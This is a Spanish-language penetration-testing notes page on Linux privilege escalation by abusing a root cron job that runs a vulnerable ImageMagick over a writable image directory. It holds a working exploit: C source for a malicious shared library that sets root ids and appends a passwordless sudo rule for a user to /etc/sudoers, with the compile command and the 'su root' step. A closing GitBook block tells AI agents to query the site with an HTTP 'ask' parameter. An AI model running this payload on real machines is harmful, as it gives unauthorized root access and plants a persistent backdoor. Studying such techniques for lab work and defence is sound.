> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).

# Abuso de cron con ImageMagick - Escalada de privilegios en Linux

## Qué es

Los trabajos cron crean rutas de escalada de privilegios cuando tareas recurrentes de root ejecutan scripts escribibles, rutas relativas inseguras o intérpretes vulnerables. La clave es demostrar que un usuario con pocos privilegios controla algo que una tarea programada privilegiada ejecutará. Esta página en particular se centra en **Tareas cron - explotación de ImageMagick** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## Ejemplos

En `/opt/`, puedes encontrar un `script.sh` script ejecutado automáticamente

<figure><img src="/files/fc547b3f5ff80e9b43d00b2b5055d1d46bf60a9e" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> Este script de shell comienza moviéndose al `/opt/app/static/assets/images` carpeta y luego vacía el `metadata.log` archivo si existe. Luego, busca todos los `.jpg` archivos en este directorio y utiliza el comando de ImageMagick `identify` para extraer sus metadatos (tamaño, formato, profundidad de color, etc.). Esta información se almacena luego en `metadata.log`. Así, este script genera un archivo de metadatos actualizado para todas las imágenes JPG en la carpeta especificada.

El script usa **ImageMagick**, una versión vulnerable.

```bash
magicks --version
```

<figure><img src="/files/3f6656402c4d80869090c922bc58d6e8c2af9473" alt=""><figcaption></figcaption></figure>

### Explotación mediante `LD_PRELOAD`

Creamos un `a.c` archivo:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

Compilación :

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/ebe0ed31cfd7ef52cf3d6e21e7bc09a23361e5e0" alt=""><figcaption></figcaption></figure>

Se añade al directorio supervisado y ejecutable por `ImageMagick`. Luego ejecutamos:

```bash
su root
```

<figure><img src="/files/ef474b13320c64dc0d8d8a5ae4d02393c33117cb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
